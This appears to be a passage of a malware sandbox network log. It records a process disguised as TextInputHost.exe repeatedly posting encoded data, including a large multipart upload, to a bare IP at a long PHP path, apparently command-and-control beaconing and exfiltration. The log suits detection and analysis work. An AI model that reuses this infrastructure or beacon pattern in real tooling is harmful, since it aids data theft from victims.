Apr 2, 2024 23:42:52.739104986 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:52.739336967 CEST	2548	OUT	Data Raw: 5f 51 58 50 50 40 51 58 5d 5c 52 54 56 55 50 5c 59 55 5f 5f 52 5d 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _QXPP@QX]\RTVUP\YU__R]WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-=[!39""!Y&)8$^9;!U(!Y:?"8'*9Y /P,
Apr 2, 2024 23:42:53.023181915 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:53.425947905 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:53.709698915 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:53.844953060 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:53.840214014 CEST	550	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----gRaOQn2MYr7CdFTgWJfP2Ai6Nbuft85rJO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 187570 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:54.118784904 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:54.119062901 CEST	12860	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 52 61 4f 51 6e 32 4d 59 72 37 43 64 46 54 67 57 4a 66 50 32 41 69 36 4e 62 75 66 74 38 35 72 4a 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------gRaOQn2MYr7CdFTgWJfP2Ai6Nbuft85rJOContent-Disposition: form-data; name="0"Content-Type: text/plain_QXVUBQ[]\RTVPPVYP_]R[W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^
Apr 2, 2024 23:42:54.397407055 CEST	2572	OUT	Data Raw: 41 74 7a 68 51 75 36 46 63 6f 59 31 77 2f 45 32 58 42 76 71 47 74 5a 64 6b 34 2f 5a 37 78 78 76 37 51 65 4b 30 51 75 36 71 6b 78 50 71 65 54 61 52 37 61 44 57 53 33 74 65 67 30 56 58 7a 4a 6b 43 61 72 73 74 52 67 2f 61 54 44 4f 5a 35 58 5a 4a 41 Data Ascii: AtzhQu6FcoY1w/E2XBvqGtZdk4/Z7xxv7QeK0Qu6qkxPqeTaR7aDWS3teg0VXzJkCarstRg/aTDOZ5XZJAFNbNM7cGShPAZ2hSAXkvuDJYoEhNN/bGP7p3/DJmM+JIM3XvVO14/KP9T+i0C0X3G15/LUqHTNFdPjACuzkSSmN2a5lWmBc62Xpd7Mq1HzUej/lOdILiWHOBQJEqDbtq2KlW0nOXUk4ANv10/sEAkAq/+5Rpx4F4W
Apr 2, 2024 23:42:54.397545099 CEST	2572	OUT	Data Raw: 72 53 65 67 7a 50 69 33 59 72 44 4f 66 32 73 53 2f 4b 74 71 39 42 33 2f 30 79 34 4d 2f 50 4a 6e 79 69 51 58 38 6c 38 78 68 4a 65 41 50 39 58 4c 48 49 79 43 76 76 37 6b 67 47 31 79 39 41 42 77 70 6d 5a 6f 48 45 46 31 6f 79 39 52 61 52 68 31 51 7a Data Ascii: rSegzPi3YrDOf2sS/Ktq9B3/0y4M/PJnyiQX8l8xhJeAP9XLHIyCvv7kgG1y9ABwpmZoHEF1oy9RaRh1QzbbEaH737QtAzkdwkCN++pQLH4vJyQEK2UA9gAfqrKscurIzhTruXeQH2CHUQWbsUykSg7Fh0Ssww/dEY6K+hKyvDHdCaxSa2cqIjGDUtQx75xBGmMpa7atA0a2S2waPoYDbri37eQq9sXgo2GtoFaCtm9oos0BhT7
Apr 2, 2024 23:42:54.397583961 CEST	12860	OUT	Data Raw: 64 62 61 56 4f 30 6d 4c 6a 5a 64 67 63 38 39 43 69 64 39 2b 6b 49 42 63 7a 73 2f 2f 47 4a 49 41 4a 78 7a 30 54 6a 55 4a 6b 50 4a 37 32 34 6d 4d 50 6e 39 4a 76 53 53 6f 5a 65 32 6b 57 4f 72 30 2b 51 6c 4d 4d 69 30 58 59 36 34 72 76 50 34 6e 79 4f Data Ascii: dbaVO0mLjZdgc89Cid9+kIBczs//GJIAJxz0TjUJkPJ724mMPn9JvSSoZe2kWOr0+QlMMi0XY64rvP4nyOaMjzgdOhDVA2WIX64cDVfFA3yxwFyCleB0+RFb5dSZb+BB96f+w5jm4unaPN8nNq/1gtqfWsO8YHGEwOLFj4igfqYEb4RMUIrD4FySUualyrLxkoYnUeezOA6dhh5jdExuNZUnx3ATBi4ZihY6l6lARm93NfSriu6
Apr 2, 2024 23:42:54.397778034 CEST	7716	OUT	Data Raw: 31 79 4f 71 4b 63 52 49 61 2f 59 78 62 56 6e 78 50 35 6f 5a 67 31 33 4c 64 39 74 31 4a 71 63 4d 67 57 58 62 59 4b 78 31 43 76 4b 6b 35 56 2f 72 65 66 65 44 63 65 36 70 43 42 34 51 2b 30 54 78 62 42 65 6e 58 4c 64 64 66 2b 31 66 31 61 6d 2f 6f 2b Data Ascii: 1yOqKcRIa/YxbVnxP5oZg13Ld9t1JqcMgWXbYKx1CvKk5V/refeDce6pCB4Q+0TxbBenXLddf+1f1am/o+xGx2l63cT42e/j/N+diKk7+ZLF6vO7pRJYHerRqUkLy3An1fl05cFCvYSgclkZcr/629GFPyk16HpP2pfpTTwlX1+Vvnq0Mj93VQkzftL4N9uGvk8NmtKA2KQ0xXil8gfAfS+vflFlNrnr3dGZfzdI+SW1b0yu3XP
Apr 2, 2024 23:42:54.675847054 CEST	5144	OUT	Data Raw: 37 34 46 47 37 51 4d 38 51 4f 54 67 64 6d 6a 2f 72 57 42 65 31 73 4d 62 68 55 4e 58 70 34 65 47 48 6a 6c 2f 59 49 76 73 64 6c 41 2f 55 6b 79 79 33 77 46 35 72 45 38 73 48 42 76 4f 67 58 53 6c 79 66 6a 47 30 52 49 4a 68 7a 4d 32 43 33 7a 4e 53 51 Data Ascii: 74FG7QM8QOTgdmj/rWBe1sMbhUNXp4eGHjl/YIvsdlA/Ukyy3wF5rE8sHBvOgXSlyfjG0RIJhzM2C3zNSQz7Lxu7m/uV6Ire6CkBmzT1zne8agMRyCDkwllITfN/ZcG4K4RgPerCbIgH3XZud5kdBiCwR3DQeflLnSi4ABM7dgmXAp/7vFw4NxCOpxHoKJG2EuJrJERJ6MLOIQ2dF5yDQhOL0aDznMD/Lk/CkVt4Z0LmKbUoMK2
Apr 2, 2024 23:42:54.675884962 CEST	5144	OUT	Data Raw: 4d 6a 5a 73 2b 50 5a 63 68 54 6d 36 45 75 6a 70 33 76 43 4b 5a 4e 32 70 37 31 51 61 44 2b 43 34 54 55 42 37 53 34 72 54 4e 70 30 74 77 31 47 66 6c 44 2b 6b 7a 41 57 39 46 50 52 2f 34 37 5a 74 6a 72 4c 37 36 6c 34 39 6f 54 4d 44 46 64 56 6e 49 50 Data Ascii: MjZs+PZchTm6Eujp3vCKZN2p71QaD+C4TUB7S4rTNp0tw1GflD+kzAW9FPR/47ZtjrL76l49oTMDFdVnIPSXtmv7Yi4Z3l7W2ZbPeSX/LbYVO+H48patV5OEPR/5gXqs/NRImenG8zpjVwJfq7+p2gNTJpVbndCEJMY2zfohN/1qPSVjd8UNf7s4C5Vr0kjKd8e2ZPgzeZWW09vyxmwZYadm8QD5fzsSmCHURike0BtYWLAyta2
Apr 2, 2024 23:42:54.676229000 CEST	15432	OUT	Data Raw: 47 55 74 2b 31 6c 78 4b 7a 4c 58 70 70 6d 71 5a 39 59 37 6f 2b 58 39 64 48 6a 65 61 45 31 6d 4c 55 48 68 44 53 4e 56 44 53 65 49 71 31 6d 76 78 32 62 53 32 55 37 42 71 34 33 4f 59 55 68 4c 58 67 62 30 55 61 36 6e 4e 47 6e 31 59 30 50 32 39 62 6d Data Ascii: GUt+1lxKzLXppmqZ9Y7o+X9dHjeaE1mLUHhDSNVDSeIq1mvx2bS2U7Bq43OYUhLXgb0Ua6nNGn1Y0P29bm3U1M+tL6bpy/t0N/08Y4UGajTwjt8zA8RGZf063+pbdruN9sx1s4e6w0xqtuo2F5eeM8XW1oxOdZHkJQ26oEoyhQ6TrqeM3Y5wWCTO5/uWVf/ZLIjpdn7lENv+s1KHsK0X/rdualUd81yj+uBq28bsIlVErRHoVuS
Apr 2, 2024 23:42:54.676405907 CEST	10288	OUT	Data Raw: 6f 31 30 70 68 34 4f 2b 32 4f 46 2f 2f 58 4a 34 55 4b 34 69 33 44 46 55 4b 47 78 76 36 6a 79 35 36 2f 57 69 4c 50 46 36 34 49 75 48 78 7a 37 4f 58 6e 4a 59 4d 39 33 38 64 41 59 4a 56 79 63 79 72 61 68 32 50 6a 38 52 70 48 35 56 33 58 64 44 64 49 Data Ascii: o10ph4O+2OF//XJ4UK4i3DFUKGxv6jy56/WiLPF64IuHxz7OXnJYM938dAYJVycyrah2Pj8RpH5V3XdDdIWkLBtNN/UR9+StJ8cnRlThsAXbwdb1WVB6INvda2oASjXx2SWTriFnnsHExKbGqtU981aKd231I5F/Nhs3GsX6QLMWa6D9U2es5oe9kfeasVAY071ETin78BW9XkjPbYw+ci6p3+0PK33qmDNsKyB96rhH1StPd38
Apr 2, 2024 23:42:54.676820993 CEST	15432	OUT	Data Raw: 44 50 62 32 79 42 55 5a 57 37 39 74 47 64 57 76 73 59 39 53 4c 51 34 75 67 52 78 4f 62 59 69 77 68 2b 6d 39 77 6d 34 62 65 73 36 57 52 52 42 47 31 2f 4a 38 4c 6b 65 38 65 50 2b 39 2b 31 59 72 7a 2f 58 72 36 73 52 39 50 44 38 45 77 4a 47 43 48 30 Data Ascii: DPb2yBUZW79tGdWvsY9SLQ4ugRxObYiwh+m9wm4bes6WRRBG1/J8Lke8eP+9+1Yrz/Xr6sR9PD8EwJGCH0jzo/gRYSllP20qmLVrms2l1ioO0LwB97lYtf3u0ohM1TjyTYHoHqTZS6L7o0bn+RSycg1NloeHK15xfq382c7I9/Qz0TuyKEWJzyl0u5Rh5mLdCppf7KfSzARtnuV1aCaP6lZ0zG9AAYRQUQB5lDU9X1sem/gnHe3
Apr 2, 2024 23:42:55.523711920 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:54.027970076 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:54.303220987 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:54.304893017 CEST	2552	OUT	Data Raw: 5f 59 5d 57 55 42 54 58 5d 5c 52 54 56 54 50 56 59 5a 5f 59 52 5e 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Y]WUBTX]\RTVTPVYZ_YR^W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-=> #1#1)X':,=; _9 6&(35\<\;4*9Y /P,,
Apr 2, 2024 23:42:54.586354017 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:54.985904932 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:55.266047001 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:55.266237020 CEST	2552	OUT	Data Raw: 5f 5f 5d 50 55 48 51 5c 5d 5c 52 54 56 54 50 51 59 54 5f 58 52 5c 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __]PUHQ\]\RTVTPQYT_XR\W]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$...!&X5=&: >(?:3/]56P+ 6*:B#('(=9Y /P,,
Apr 2, 2024 23:42:55.553291082 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:55.973345041 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:56.254585981 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:56.254832983 CEST	2552	OUT	Data Raw: 5f 5e 58 54 55 46 51 5c 5d 5c 52 54 56 50 50 50 59 51 5f 5b 52 5c 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^XTUFQ\]\RTVPPPYQ_[R\WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'--5#.!"='7^= :U;_5.(0=\<8B7;(-9Y /P,<
Apr 2, 2024 23:42:56.541454077 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:56.049717903 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue
Apr 2, 2024 23:42:56.327780008 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:56.327986002 CEST	1868	OUT	Data Raw: 5f 5a 58 56 55 46 54 58 5d 5c 52 54 56 53 50 5c 59 5a 5f 58 52 5b 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _ZXVUFTX]\RTVSP\YZ_XR[W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9.!Z!0=""%]'_#X=?-#+6+&Q)#!](C#>9Y /P,0
Apr 2, 2024 23:42:56.612541914 CEST	324	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 57 28 0b 09 5c 34 38 3b 0f 3c 1f 29 0e 30 27 2a 04 2f 58 2a 05 3c 07 3f 5d 2e 15 01 07 20 28 27 17 29 33 2d 5a 32 10 2c 11 27 0d 2b 59 01 13 26 04 3d 2c 05 08 25 22 27 1e 25 16 22 5d 30 27 01 42 2a 02 3c 57 33 2e 25 57 3c 1d 27 02 3c 30 2e 0e 3e 17 02 06 2d 2f 26 02 21 0e 2a 5e 0c 17 21 0f 2b 07 2b 16 26 0e 28 11 28 22 06 01 29 36 0e 11 3e 17 06 0c 32 05 35 5c 2a 11 38 54 26 3d 25 54 2a 3e 3d 1e 23 1c 33 55 29 12 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'W(\48;<)0'/X<?]. (')3-Z2,'+Y&=,%"'%"]0'B<W3.%W<'<0.>-/&!^!++&((")6>25\8T&=%T>=#3U)'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:56.939412117 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:57.219547033 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:57.220606089 CEST	2552	OUT	Data Raw: 5a 5f 5d 5c 50 47 51 58 5d 5c 52 54 56 53 50 52 59 5a 5f 5e 52 53 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_]\PGQX]\RTVSPRYZ_^RSW[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9>"6X#">$??+;.;\!?+:?#7)9Y /P,0
Apr 2, 2024 23:42:57.506309986 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:57.916913033 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:58.199717999 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:58.201446056 CEST	2552	OUT	Data Raw: 5a 5f 58 57 50 45 51 5a 5d 5c 52 54 56 54 50 52 59 5a 5f 58 52 5b 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_XWPEQZ]\RTVTPRYZ_XR[WQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9.)_!3&]!1\0 ?;8^945"T?0(\? (=-9Y /P,,
Apr 2, 2024 23:42:58.490797043 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:58.893837929 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:59.170864105 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:59.171446085 CEST	2552	OUT	Data Raw: 5f 5a 5d 5c 55 41 51 50 5d 5c 52 54 56 50 50 50 59 55 5f 5d 52 5a 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]\UAQP]\RTVPPPYU_]RZWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y9-.5 2"W!\$9)^ _.0<5(35+, ($)-9Y /P,<
Apr 2, 2024 23:42:59.455384970 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
